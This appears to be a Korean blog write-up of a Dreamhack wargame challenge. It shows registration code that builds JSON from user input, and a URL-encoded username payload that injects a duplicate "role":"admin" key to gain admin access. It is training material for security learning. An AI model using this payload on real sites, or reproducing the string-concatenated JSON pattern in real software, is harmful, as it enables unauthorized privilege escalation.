반응형
문제 설명
Can you gain admin access?
취약점분석
raw_user = (
f'{{"role":"user",'
f'"username":"{username}",'
f'"pw":"{pw}",'
f'"uid":"{uid}"}}'
)
try:
user = json.loads(raw_user)
except Exception:
return render_template("register.html", title="Register", error="회원가입에 실패했습니다."), 400
- username에 "를 넣으면 JSON구조를 탈출할 수 있고, 중복 키가 있을 때 마지막 값이 유지됨
즉, "role"="admin"을 뒤에 덧 붙이면 role이 admin으로 확정
익스플로잇

- /register 요청 가로챈 후 body를 수정할 예정

- username에 role 삽입
username=aaa%22,%22role%22:%22admin%22,%22username%22:%22aaa&password=1234 ## %22 = "
- 서버 입장에서 aaa","role":"admin","username":"aaa 들어옴
{
"role":"user",
"username":"aaa",
"role":"admin",
"username":"aaa",
"pw":"<hash>",
"uid":"<uuid>"
}
- 그럼 개념상 이런식으로 해석됨
그렇게 등록한 후 로그인 하고 flag 확인

키워드
JSON Injection
: 입력값이 JSON 문자열에 그대로 합쳐질 때 구조를 깨고 필드를 주입하는 공격
Authorization Bypass
: 권한 검증 로직의 허점을 이용해 관리자 권한을 얻는 공격
반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| CSRF Advacned (0) | 2026.01.23 |
|---|---|
| XSS Filtering Bypass (0) | 2026.01.21 |
| simple_sqli (1) | 2026.01.15 |
| csrf-2 (1) | 2026.01.11 |
| csrf - 1 (0) | 2026.01.11 |